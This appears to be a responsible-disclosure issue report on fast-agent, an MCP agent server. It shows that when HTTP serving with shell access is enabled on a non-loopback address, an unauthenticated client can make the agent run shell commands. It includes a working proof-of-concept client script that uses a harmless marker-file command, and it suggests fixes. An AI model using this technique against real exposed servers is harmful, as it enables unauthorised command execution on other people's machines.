Unauthenticated shell access when HTTP serving is enabled with --shell and a non-loopback bind #1049

Summary

When fast-agent serves MCP over HTTP with --shell enabled and a non-loopback bind address, a client can call the exposed agent tool without authentication and ask the agent to execute shell commands.

I reproduced this using a harmless command that writes and reads a marker file.

I understand that shell access and non-loopback binding are both opt-in, and that the server prints warnings. My concern is that, once this combination is enabled, a client can request shell execution without presenting credentials or obtaining local approval.

Tested environment

• fast-agent-mcp 0.10.48 — main-branch tarball, October 28, 2026
• WSL2 Ubuntu 24.04, Python 3.12
• Model: DeepSeek deepseek-flash, through an OpenAI-compatible endpoint
• FAST_AGENT_SERVE_OAUTH unset
• HTTP port reachable by the test client

Steps to reproduce

1. Start the server:

fast-agent serve --transport http --shell --host 0.0.0.0 --port 8900 --model deepseek-flash

The server prints warnings that the service is exposed to remote network clients and that shell execution is available to remote callers.

2. Run this client without any authentication token:

Replace <host> with the server address.

import asyncio
from fastmcp import Client


async def main():
    async with Client("http://<host>:8900/mcp") as client:
        tools = await client.list_tools()
        print("Available tools:", [tool.name for tool in tools])

        result = await client.call_tool(
            "agent",
            {
                "message": (
                    "Run this shell command and return its output: "
                    "echo remote-pwned > /tmp/fa_remote_pwned "
                    "&& cat /tmp/fa_remote_pwned"
                )
            },
        )
        print(result)


asyncio.run(main())

Observed behavior

• The client connects without authentication.
• list_tools() returns the agent tool.
• The agent executes the requested shell command.
• The tool result contains remote-pwned and reports exit code 0.
• /tmp/fa_remote_pwned is created on the server with the expected content.

I reproduced the behavior using both the loopback address and the host’s non-loopback interface address. The client ran in a separate process; this report does not claim verification from a separate machine or over the public internet.

Security implications and scope

In this configuration, a client that can reach the MCP endpoint can ask the agent to execute commands with the privileges of the server process. No authentication token or local approval was required in the tested interaction.

This is not a default-configuration compromise: the default bind address is 127.0.0.1, and shell access is disabled by default. I am also not claiming an authentication bypass or privilege escalation.

Suggested safeguards

• Require authentication when HTTP serving is combined with shell access and a non-loopback bind.
• Alternatively, refuse to start this combination unless the operator supplies an additional explicit override.
• Clearly document that, without authentication configured, any client able to reach the endpoint can request shell execution.

Requested clarification and coordination

Could you confirm whether unauthenticated shell access in this configuration is intended, or whether the absence of enforced authentication should be addressed as a security vulnerability?

I can provide sanitized request/response traces and server logs, help validate a fix, and coordinate disclosure timing.If a CVE ID is needed, I would be happy to help coordinate the assignment process.